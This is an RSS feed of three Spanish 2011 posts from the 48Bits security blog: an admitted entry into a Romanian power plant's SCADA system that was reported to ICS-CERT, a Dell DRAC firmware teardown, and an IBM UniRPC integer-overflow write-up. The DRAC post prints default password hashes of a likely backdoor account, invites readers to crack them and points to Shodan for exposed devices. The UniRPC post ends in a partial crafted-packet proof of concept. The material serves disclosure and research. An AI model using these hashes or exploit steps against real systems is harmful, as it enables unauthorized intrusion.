<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>48Bits Blog &#187; 48Bits advisories</title>
	<atom:link href="http://blog.48bits.com/category/48bits-advisories/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.48bits.com</link>
	<description>48Bits ... The one and a half architecture land.</description>
	<lastBuildDate>Thu, 19 Jan 2012 11:31:59 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>Cosas del internes</title>
		<link>http://blog.48bits.com/2011/08/22/cosas-del-internes/</link>
		<comments>http://blog.48bits.com/2011/08/22/cosas-del-internes/#comments</comments>
		<pubDate>Mon, 22 Aug 2011 18:42:51 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1937</guid>
		<description><![CDATA[Hola aspergers Estamos de acuerdo en que internet es para gatos y ya cada vez menos para ver cosas que son pecado, pero navegando por ahí te puedes encontrar situaciones interesantes. Lo bonito de eso es que sabes donde empiezas pero nunca donde acabas&#8230;Una de estas veces terminé en un sistema &#8220;experimental&#8221; de una central [...]]]></description>
			<content:encoded><![CDATA[<p>Hola aspergers </p>
<p>Estamos de acuerdo en que internet es para gatos y ya cada vez menos para ver cosas que son pecado, pero navegando por ahí te puedes encontrar situaciones interesantes.  </p>
<p>Lo bonito de eso es que sabes donde empiezas pero nunca donde acabas&#8230;Una de estas veces terminé en un sistema &#8220;experimental&#8221; de una central de <a href="http://es.wikipedia.org/wiki/Cogeneración">cogeneración</a> rumana. Esta de aquí, más concrétamente.<br />
<img src="http://blog.48bits.com/wp-content/uploads/2011/08/sambata2.png" alt="" title="sambata2" width="600" height="239" class="aligncenter size-full wp-image-1938" /></p>
<p><span id="more-1937"></span></p>
<p>El caso es que un día como otro cualquier me puse a ver que cosas de SCADA había por ahí y acabé en ese sistema, el cual corría un software SCADA cliente/servidor de la empresa <a href="http://www.inductiveautomation.com/" target="_blank">http://www.inductiveautomation.com/</a> . </p>
<p>Tras echarle un ojo, aquello era un coladero por lo que entrar al sistema no era muy dificil. Con todos estos datos avisé al ICS-CERT para, por un lado poner en aviso a los operadores de la central y por otro advertir de las vulnerabilidades al vendor.<br />
<img src="http://blog.48bits.com/wp-content/uploads/2011/08/sambata1.png" alt="" title="sambata1" width="700" height="524" class="aligncenter size-full wp-image-1940" /><br />
De esta manera, los encargados de la central chaparon los sistemas accesibles y la compañia de software arregló un importante fallo que permitía acceder a toda la información del sistema, incluyendo los passwords. Todo el mundo contento, y así yo puedo seguir paseando por Cohlada.</p>
<p>El advisory del ICS-CERT lo podéis consultar aquí <a href="http://www.us-cert.gov/control_systems/pdf/ICSA-11-231-01.pdf" target="_blank">http://www.us-cert.gov/control_systems/pdf/ICSA-11-231-01.pdf</a></p>
<p>Hasta la siguiente.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2011/08/22/cosas-del-internes/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>DELLirium, participa.</title>
		<link>http://blog.48bits.com/2011/08/16/dellirium-participa/</link>
		<comments>http://blog.48bits.com/2011/08/16/dellirium-participa/#comments</comments>
		<pubDate>Tue, 16 Aug 2011 00:14:41 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>
		<category><![CDATA[48Bits exploits]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1924</guid>
		<description><![CDATA[Antes de nada mira los comentarios, el shadow no se usa para autentificarse asi que por ese vector parece que no hay más que rascar Hola anonymous y anonymaus, En la época estival 48bits retorna. [Música épica] Cuando nadie lo esperaba, cuando todos nos daban por muertos, detenidos o ambas cosas. En esos momentos, vamos [...]]]></description>
			<content:encoded><![CDATA[<p><font color="#ff0000"> <b> Antes de nada mira los comentarios, el shadow no se usa para autentificarse asi que por ese vector parece que no hay más que rascar</b> </font></p>
<hr color="#ff0000"> </hr>
<p>Hola anonymous y anonymaus,</p>
<p>En la época estival 48bits retorna. </p>
<p>[Música épica] Cuando nadie lo esperaba, cuando todos nos daban por muertos, detenidos o ambas cosas. En esos momentos, vamos y publicamos.</p>
<p>Vamos a ver cómo buscar vulnerabilidades  en embebidos, sin necesidad de disponer del dispositivo. En este caso vamos a dar un poco de caña al sistema out-of-band management de DELL. Al lío..</p>
<p><span id="more-1924"></span></p>
<p>A la hora de enfrentarse a un software/hardware, lo primero de todo es buscar toda la documentación posible sobre el sistema. A partir de la wikipedia podemos acceder a las más importantes, sencillas búsquedas por google arrojan un monton de resultados adicionales:</p>
<p><a href="http://www.dell.com/content/topics/global.aspx/power/en/ps2q02_bell?c=us&#038;l=en">http://www.dell.com/content/topics/global.aspx/power/en/ps2q02_bell?c=us&#038;l=en</a><br />
<a href="http://en.wikipedia.org/wiki/Dell_DRAC">http://en.wikipedia.org/wiki/Dell_DRAC</a></p>
<p>Hay que tener en cuenta la siguiente cuestión, si bien el código fuente de  ciertos componentes del firmware de DELL DRAC están disponibles, DELL <a href="http://lists.us.dell.com/pipermail/linux-poweredge/2010-December/043738.html">admite</a> que no provee ni el entorno para crear un firmware funcional, ni el código de la versión final. Por lo tanto no tenemos acceso al código fuente de las partes más interesantes.</p>
<p>Llegado este punto es indispensable pasar a analizar el firmware y ver hasta donde podemos llegar. Podemos descargar la última versión desde la página de soporte de Dell<br />
<a href="http://support.us.dell.com/support/downloads/format.aspx?releaseid=R299265&#038;c=us&#038;l=en&#038;cs=&#038;s=gen">http://support.us.dell.com/support/downloads/format.aspx?releaseid=R299265&#038;c=us&#038;l=en&#038;cs=&#038;s=gen</a></p>
<p>Un zip autoejecutable que nos descomprime dos ficheros, uno de ellos es el  firmware &#8220;<em>firmimg.d6</em>&#8220;, que ocupa 54 megas.</p>
<p>Lo común es utilizar <a href="http://code.google.com/p/binwalk/">binwalk</a> para ver que contiene. No podemos confiar ciegamente en este programa, basado en firmas, porque en ocasiones da falsos positivos y/o resultados con poco sentido. En cualquier caso es un buen punto de partida.</p>
<pre>
DECIMAL   |	HEX     |  	DESCRIPTION
--------------------------------------------------------------

<em>512</em>       	0x200     	uImage header, created: Sat Mar 12 21:17:47 2011, image size: 4479904 bytes, Data Address: 0x8000, Entry Point: 0x8000, CRC: 0x1BB8BE08, OS: Linux, CPU: ARM, image type: OS Kernel Image, compression type: none, image name: arm-linux
<em>12424 </em>    	0x3088    	romfs filesystem, version 1 1892957376 bytes, named \240\324<\300hsqs\324\324<\300\177\023.
<em>12436</em>     	0x3094    	Linux Compressed ROM filesystem data, little endian size 3225212064 CRC 0xc03cd538, edition 3225212264, 3225738208 blocks,            3225738220 files
<em>12444</em>     	0x309C    	Squashfs filesystem, little endian, version 54632.49212, 4991 bytes, -1069755180 inodes, blocksize: 56288 bytes, created: Fri Aug 11 04:51:44 2006
<em>103296</em>    	0x19380   	gzip compressed data, from Unix, last modified: Sat Mar 12 21:10:25 2011, max compression</pre>
<p>Esto es algunos de los resultados que muestra, de los cuales el único válido es el primero, en el offset 0&#215;200. Primero nos encontramos con una cabecera propia del firmware. Es bastante común encontrarse con una imagen del bootloader<a href="http://en.wikipedia.org/wiki/Das_U-Boot">u-Boot </a>(tanto en standalone como imagen de kernel, sobre todo esta última).  No nos interesa especialmente en este caso, aunque podríamos debuggearlo a través de qemu-arm-system compilado con soporte para gdb. También podríamos seguir paso a paso la ejecución desde IDA que soporta <a href="http://www.hex-rays.com/idapro/debugger/gdb_qemu.pdf">este modo</a> de debugging. </p>
<p>Con una fichero de firmware de 54 Megas, además de un kernel debemos tener mucha más chicha asi que vamos a buscarlo. Un análisis de entropía del fichero, por ejemplo usando uno de los últimos commits de radare (thx pancake!) &#8220;rahash2 -b 512 -a entropy firmimg.d6&#8243; o de forma visual  veremos como en torno al offset 0x45b000 empezamos a observar zonas de muy alta entropía lo que suele significar datos comprimidos o cifrados..Buscando en la zona anterior nos encontramos con<br />
<img src="http://blog.48bits.com/wp-content/uploads/2011/08/romfs.png" alt="" title="romfs" width="468" height="166" class="aligncenter size-full wp-image-1929" /></p>
<p>Si os fijais podemos identificar el magic de un <a href="http://en.wikipedia.org/wiki/Cramfs">CramFS</a> &#8220;45 3D CD 28&#8243; seguido por &#8220;Compressed ROMFS&#8221; y nombres relativos a directorios,ficheros&#8230; por lo tanto blanco y en botella: previo a la zona de alta entropia tenemos un cabecera de un CramFS legítimo. Por lo tanto, lo que tenemos que hacer es dumpear desde el magic hasta el final y montarlo.</p>
<blockquote><p>dd if=firmimg.d6 bs=1 skip=4480512 of=tirori.fs<br />
mount -o loop -t cramfs tirori.fs /mnt/drac </p></blockquote>
<p>Y listo, de esta manera tenemos montado el sistema de ficheros que usa el dispositivo, por lo tanto tenemos acceso a todos los ficheros de configuración, certificados, shadow, demonios&#8230; aquí podéis ver el listado <a href="http://pastebin.com/Wn10iFf3">http://pastebin.com/Wn10iFf3</a></p>
<p>Pero podemos ir más allá y emular los ejecutables para poder así buscar vulnerabilidades en los servicios. QEMU soporta dos modos, emulación completa o sólo de user-mode. En este caso lo que nos interesa es emular en la capa de usuario por lo que seguiremos los siguientes pasos.</p>
<p>1. Instalarnos una suite de cross-compiling/debugging ARM como por ejemplo (http://www.codesourcery.com/sgpp/lite/arm/portal/subscription?@template=lite)<br />
2. Cross-Compile QEMU user-mode en éstatico con el target arm<br />
$ ./configure &#8211;enable-user &#8211;static &#8211;target-list=arm-linux-user  &#8211;enable-debug<br />
3. Activar el soporte en el kernel para otros formatos ejecutables<br />
$ apt-get install binfmt-support<br />
Descargar y ejecutar http://compbio.cs.toronto.edu/repos/snowflock/xen-3.0.3/tools/ioemu/qemu-binfmt-conf.sh<br />
4. Crear /usr/gnemul/qemu-arm y copiar las librerias de /mnt/drac/lib a este directorio.<br />
5. Copiar el qemu-arm estático a /mnt/drac/usr/local/bin<br />
6. Chrootear en /mnt/drac y listo<br />
7. Mapear /proc y /dev  en el chroot para poder usar comandos como &#8220;ps&#8221; y sobre todo permitir a los binarios arm usar /dev/(u)random en el entorno chrooted.<br />
   mount -bind  /dev /mnt/drac/dev<br />
   mount -t proc proc /mnt/drac/proc</p>
<p>De esta manera estamos podemos ejecutar, mediante la emulación que QEMU hace de la capa de usuario, los ficheros del firmware. Esto supone también la posibilidad de debuggearlos mediante gdb en remoto, ya que ptrace no está implementado en la capa de emulación.</p>
<p>(Entorno Chrooted)$ qemu-arm -g 1337 binario<br />
Desde el entorno no chrooted usamos el cross-compiled gdb para arm de la siguiente manera<br />
(gdb) target remote localhost:1337</p>
<p>Por ejemplo, vamos a depurar el servidor web que usan (<a href="http://appwebserver.org/">appweb</a>)</p>
<blockquote><p>(chrooted) # qemu-arm -g 1337 /usr/local/bin/appweb -r /usr/local/lib/appweb -d /usr/local/www -a 0.0.0.0:8150</p></blockquote>
<blockquote><p>(fuera) $  arm-none-eabi-gdb<br />
(gdb) target remote localhost:1337</p></blockquote>
<p>Tras algo de &#8220;stress&#8221; los SIGSEGV comienza a aparecer&#8230;</p>
<p>Por último, vamos a hacer de esto algo participativo. DRAC permite una serie de métodos de acceso, por ejemplo ssh. Atendiendo a la configuración de PAM<br />
/etc/pam.d<br />
diags<br />
kvm<br />
login	other<br />
racadm<br />
sol</p>
<blockquote><p>sshd<br />
#%PAM-1.0<br />
auth	sufficient	pam_ldap_manager.so<br />
<strong>auth	sufficient	pam_local_manager.so use_first_pass </strong><br />
auth	required	pam_auth_status.so<br />
account	sufficient	pam_ldap_manager.so privilege=0&#215;01<br />
account	sufficient	pam_local_manager.so privilege=0&#215;01<br />
account	required	pam_auth_status.so<br />
session	required	pam_auth_status.so<br />
session	required	pam_session_manager.so sessiontype=SSH maxsessions=2</p></blockquote>
<p>telnetd<br />
vm<br />
vmcli<br />
webgui<br />
wsman </p>
<p>Tenemos el /etc/shadow mapeao a memoria flash, pero el shadow por defecto, y que es copiado a la flash por un script en al inicio, está en /etc/default/shadow</p>
<blockquote><p>root:$1$fY6DG6Hu$OpwCBE01ILIS1H/Lxq/7d0:13502:0:99999:7:::<br />
user1:$1$nVOr80rB$HDAd6FRlG24k/WN4ZuYPC0:0:0:99999:7:::<br />
racuser:!:0:0:99999:7:::<br />
sshd:*:11880:0:99999:7:-1:-1:0</p></blockquote>
<p>Aunque la documentación avisa que se debe cambiar el password de root, en ningún sitio se menciona el usuario &#8220;user1&#8243;. Por lo tanto estaríamos ante un usuario backdoor o una cuenta de testing de los developers, el problema es que es altamente improbable que ningún administrador haya cambiado el password o deshabilitado el usuario ya que no pueden tener conocimiento de ella.</p>
<p>A parte de otras vulnerabilidades que podamos encontrar vamos a hacer de esto algo participativo.</p>
<p>Para los ninjas del cracking de passwords (@aramosf puta dale cera) vamos a ver si entre todos petamos los passwords. El premio es acceso al sistema <img src='http://blog.48bits.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  (no hombre, que es ilegal), ¿cómo encontrarlos? Bueno, hay miles en Shodan <a href="http://www.shodanhq.com/?q=appweb">http://www.shodanhq.com/?q=appweb</a></p>
<p>Si los sacais, avisad! Hasta la próxima! </p>
]]></content:encoded>
			<wfw:commentRss>http://blog.48bits.com/2011/08/16/dellirium-participa/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>El ciclo de vida de un fallo.</title>
		<link>http://blog.48bits.com/2010/12/24/el-ciclo-de-vida-de-un-fallo/</link>
		<comments>http://blog.48bits.com/2010/12/24/el-ciclo-de-vida-de-un-fallo/#comments</comments>
		<pubDate>Fri, 24 Dec 2010 09:25:51 +0000</pubDate>
		<dc:creator>Ruben Santamarta</dc:creator>
				<category><![CDATA[48Bits advisories]]></category>

		<guid isPermaLink="false">http://blog.48bits.com/?p=1679</guid>
		<description><![CDATA[Desde 48bits os deseamos unas felices comilonas y un próspero loquesea. Quiero ambientar este post con una canción de la página revelación del 2010, ano.lolcathost.org Su título es &#8220;Miau, Miau&#8221;, letra a cargo de Alejandro Sanz y el fulano de Jarabe de Palo. La música fue compuesta por Luis Cobos. Según los autores &#8220;con esta [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p><strong>Desde 48bits os deseamos unas felices comilonas y un próspero loquesea.</strong></p></blockquote>
<p>Quiero ambientar este post con una canción de la página revelación del 2010, <a href="http://ano.lolcathost.org/">ano.lolcathost.org</a></p>
<p>Su título es &#8220;Miau, Miau&#8221;, letra a cargo de Alejandro Sanz y el fulano de Jarabe de Palo. La música fue compuesta por Luis Cobos. </p>
<p>Según los autores &#8220;con esta canción queríamos expresar nuestra consternación por todo lo que vemos en la tele y la gente  nos cuenta en facebook: los superpobres que son muy pobres ¿sabes? la falta de berberechos humanos en China, el cambio simpático y los tierramotos de Haití. Sin olvidarnos de cómo nos vemos obligados a beber agua del grifo debido a la pirateria.&#8221;<br />
<a href="http://ano.lolcathost.org/mp3player.swf?file=%2Fmisc%2FRedHeat-JFL_-_Meow_Meow_Meow_Redux-bg.mp3&#038;repeatPlay=true&#038;autoStart=true" target="_blank">Pulsa para escuchar el hit de las navidades: &#8220;Miau Miau&#8221;</a></p>
<p>Al lio&#8230;<br />
<span id="more-1679"></span></p>
<p>Hace aproximadamente 3 años que vendí a ZDI un fallo en la implementación RPC de los productos IBM U2 (Universe y Unidata). </p>
<blockquote><p>About InterCall<br />
InterCall is an API (application programming interface) that enables a UNIX or Windows client to access data on UniVerse and UniData servers. With InterCall, your applications can:<br />
Connect to one or more servers<br />
Access files and records<br />
Execute database commands and UniVerse BASIC programs On Windows platforms, you can write applications for client programs using any development tool that accesses DLLs, for example, Visual Basic, C, or Visual C/C++. On UNIX, you can use any tool that accesses static libraries, typically a C compiler</p>
<p>Minimum System Requirements<br />
To run InterCall applications, you need the following:<br />
On a UNIX server:<br />
UniVerse Release 8.3.3.1G or later, or UniData Release 5.1 or later<br />
TCP/IP<br />
UniRPC daemon (unirpcd) running<br />
On a Windows server:<br />
UniVerse Release 9.3.1 or later, or UniData Release 5.1 or later<br />
TCP/IP, if connected to a UNIX client<br />
TCP/IP or LAN Manager, if connected to a Windows client<br />
UniRPC service (unirpc) running<br />
{&#8230;}<br />
bin/unirpc32.dll A DLL used by InterCall applications at run time.
</p></blockquote>
<p>El fallo, un integer overflow de libro, se producía en la función <em>uvrpc_read_message</em>:</p>
<div class="dean_ch" style="white-space: wrap;">
.text:<span class="nu0">10002480</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw4">public</span> uvrpc_read_message<br />
.text:<span class="nu0">10002480</span> uvrpc_read_message <span class="kw4">proc</span> <span class="kw5">near</span> &nbsp;<span class="co1">; CODE XREF: uvrpc_read_packet+3A#p</span><br />
<span class="br0">&#123;</span>&#8230;<span class="br0">&#125;</span><br />
<span class="co1">; Check signature &nbsp;0X6F02 || 0x6F01</span><br />
.text:100025A0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">esi</span>, <span class="br0">&#91;</span><span class="kw3">edi</span><span class="br0">&#93;</span><br />
.text:100025A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">sar</span> &nbsp; &nbsp; <span class="kw3">esi</span>, 10h<br />
.text:100025A5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">and</span> &nbsp; &nbsp; <span class="kw3">esi</span>, <span class="re0">0FFFFh</span><br />
.text:100025AB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">ecx</span>, <span class="kw3">esi</span><br />
.text:100025AD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">and</span> &nbsp; &nbsp; <span class="kw3">ecx</span>, <span class="re0">0FF00h</span><br />
.text:100025B3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw3">ecx</span>, 6C<span class="re0">00h</span><br />
.text:100025B9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jnz</span> &nbsp; &nbsp; <span class="kw4">short</span> loc_10002619<br />
.text:100025BB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">and</span> &nbsp; &nbsp; <span class="kw3">esi</span>, <span class="re0">0FFFF93FFh</span><br />
.text:100025C1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw3">esi</span>, <span class="nu0">2</span><br />
.text:100025C4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">ja</span> &nbsp; &nbsp; &nbsp;<span class="kw4">short</span> loc_10002619<br />
.text:100025C6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw3">esi</span>, <span class="nu0">1</span><br />
.text:100025C9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jb</span> &nbsp; &nbsp; &nbsp;<span class="kw4">short</span> loc_10002619<br />
<span class="co1">;The rpc packet length is directly read from [packet+4] </span><br />
.text:100025CB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">ecx</span>, <span class="br0">&#91;</span>edi<span class="nu0">+4</span><span class="br0">&#93;</span> <br />
<span class="br0">&#91;</span>&#8230;<span class="br0">&#93;</span><br />
<span class="co1">; Another check ![packet+0x10]</span><br />
.text:<span class="nu0">10002647</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">esi</span>, <span class="br0">&#91;</span><span class="kw3">edi</span>+10h<span class="br0">&#93;</span><br />
.text:1000264A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">test</span> &nbsp; &nbsp;<span class="kw3">esi</span>, <span class="kw3">esi</span><br />
<span class="br0">&#91;</span>&#8230;<span class="br0">&#93;</span><br />
<span class="co1">;The server calculates the real length of the packet, (re)allocating memory if </span><br />
<span class="co1">;needed. </span><br />
.text:1000269C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; dword_1001C604, <span class="kw3">edx</span><br />
.text:100026A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">edi</span>+14h<span class="br0">&#93;</span> <span class="co1">; Number of rpc args</span><br />
.text:100026A5 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span><span class="kw3">esp</span>+2Ch+arg_4<span class="br0">&#93;</span><br />
.text:100026A9 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">sar</span> &nbsp; &nbsp; <span class="kw3">eax</span>, 10h<br />
.text:100026AC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">and</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="re0">0FFFFh</span><br />
.text:100026B1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">edx</span><span class="br0">&#93;</span>, <span class="kw3">eax</span><br />
.text:100026B3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">edi</span>+14h<span class="br0">&#93;</span><br />
.text:100026B6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span><span class="kw3">esp</span>+2Ch+arg_10<span class="br0">&#93;</span><br />
.text:100026BA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">and</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="re0">0FFFFh</span><br />
.text:100026BF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="br0">&#91;</span><span class="kw3">edx</span><span class="br0">&#93;</span>, <span class="kw3">eax</span></p>
<p><span class="co1">;Integer Overflow </span><br />
.text:100026C1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">lea</span> &nbsp; &nbsp; <span class="kw3">eax</span>, <span class="br0">&#91;</span><span class="kw3">ecx</span>+18h<span class="br0">&#93;</span> <span class="co1">; ecx = our_size </span><br />
.text:100026C4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">cmp</span> &nbsp; &nbsp; <span class="kw3">eax</span>, nNumberOfBytesToRead <br />
.text:100026CA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">jle</span> &nbsp; &nbsp; <span class="kw4">short</span> loc_100026EB <span class="co1">; signed comparison &nbsp;OOPS!</span><br />
&nbsp;</div>
<p> En este punto, si el tamaño era mayor el server necesitaba más memoria para albergar el paquete </p>
<div class="dean_ch" style="white-space: wrap;">
.text:100026CC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">eax</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="co1">; Args</span><br />
.text:100026CD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;sub_10002970 <span class="co1">; Realloc </span><br />
&nbsp;</div>
<p>pero si no llamaba a recv con el buffer por defecto hasta completar la recepción del paquete usando el valor de longitud que nosotros enviamos en el paquete, no el que él calculó.</p>
<div class="dean_ch" style="white-space: wrap;">
.text:<span class="nu0">10002744</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; dword_1001C61C, <span class="nu0">1</span><br />
.text:1000274E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;sub_100033C0 <span class="co1">; recv(&#8230;)</span><br />
<span class="br0">&#91;</span>&#8230;<span class="br0">&#93;</span><br />
.text:<span class="nu0">10003649</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">edx</span>, <span class="br0">&#91;</span><span class="kw3">esp</span>+228h+nNumberOfBytesToRead<span class="br0">&#93;</span><br />
.text:<span class="nu0">10003650</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">mov</span> &nbsp; &nbsp; <span class="kw3">eax</span>, dword_1000D524<span class="br0">&#91;</span><span class="kw3">ebx</span><span class="br0">&#93;</span><br />
.text:<span class="nu0">10003656</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="nu0">0</span><br />
.text:<span class="nu0">10003658</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">edx</span><br />
.text:<span class="nu0">10003659</span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">ebp</span><br />
.text:1000365A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">push</span> &nbsp; &nbsp;<span class="kw3">eax</span><br />
.text:1000365B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">call</span> &nbsp; &nbsp;dword_1001C65C &nbsp;<span class="co1">; recv</span><br />
&nbsp;</div>
<p>El problema está en que al ser una comparación con signo , si el valor que nosotros le pasamos + 0&#215;18 que le suma él, es un número negativo, nos saltaremos el check.</p>
<p>Ejemplo:<br />
     fake_size =  0x7ffffff0 :: Es > 0<br />
     + 0x18h =  0&#215;80000008  :: Ahora es < 0 asi que  fake_size < nNumberofBytesToRead<br />
entonces<br />
     n=recv(socket, buffer, fake_size-(n), flags) </p>
<p>Simple PoC</p>
<div class="dean_ch" style="white-space: wrap;">
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = <span class="kw3">socket</span>.<span class="kw3">socket</span><span class="br0">&#40;</span><span class="kw3">socket</span>.<span class="me1">AF_INET</span>,<span class="kw3">socket</span>.<span class="me1">SOCK_STREAM</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">connect</span><span class="br0">&#40;</span><span class="br0">&#40;</span><span class="kw3">sys</span>.<span class="me1">argv</span><span class="br0">&#91;</span><span class="nu0">1</span><span class="br0">&#93;</span>, <span class="nu0">31438</span><span class="br0">&#41;</span><span class="br0">&#41;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s.<span class="me1">send</span><span class="br0">&#40;</span><span class="st0">&quot;<span class="es0">\x</span>6c<span class="es0">\x</span>02<span class="es0">\x</span>6F<span class="es0">\x</span>6c&quot;</span> &nbsp; <span class="co1"># Magic</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;<span class="es0">\x</span>7f<span class="es0">\x</span>ff<span class="es0">\x</span>fF<span class="es0">\x</span>F0&quot;</span> &nbsp;<span class="co1"># our_size</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;+<span class="st0">&quot;<span class="es0">\x</span>18<span class="es0">\x</span>19<span class="es0">\x</span>0a<span class="es0">\x</span>0b&quot;</span><br />
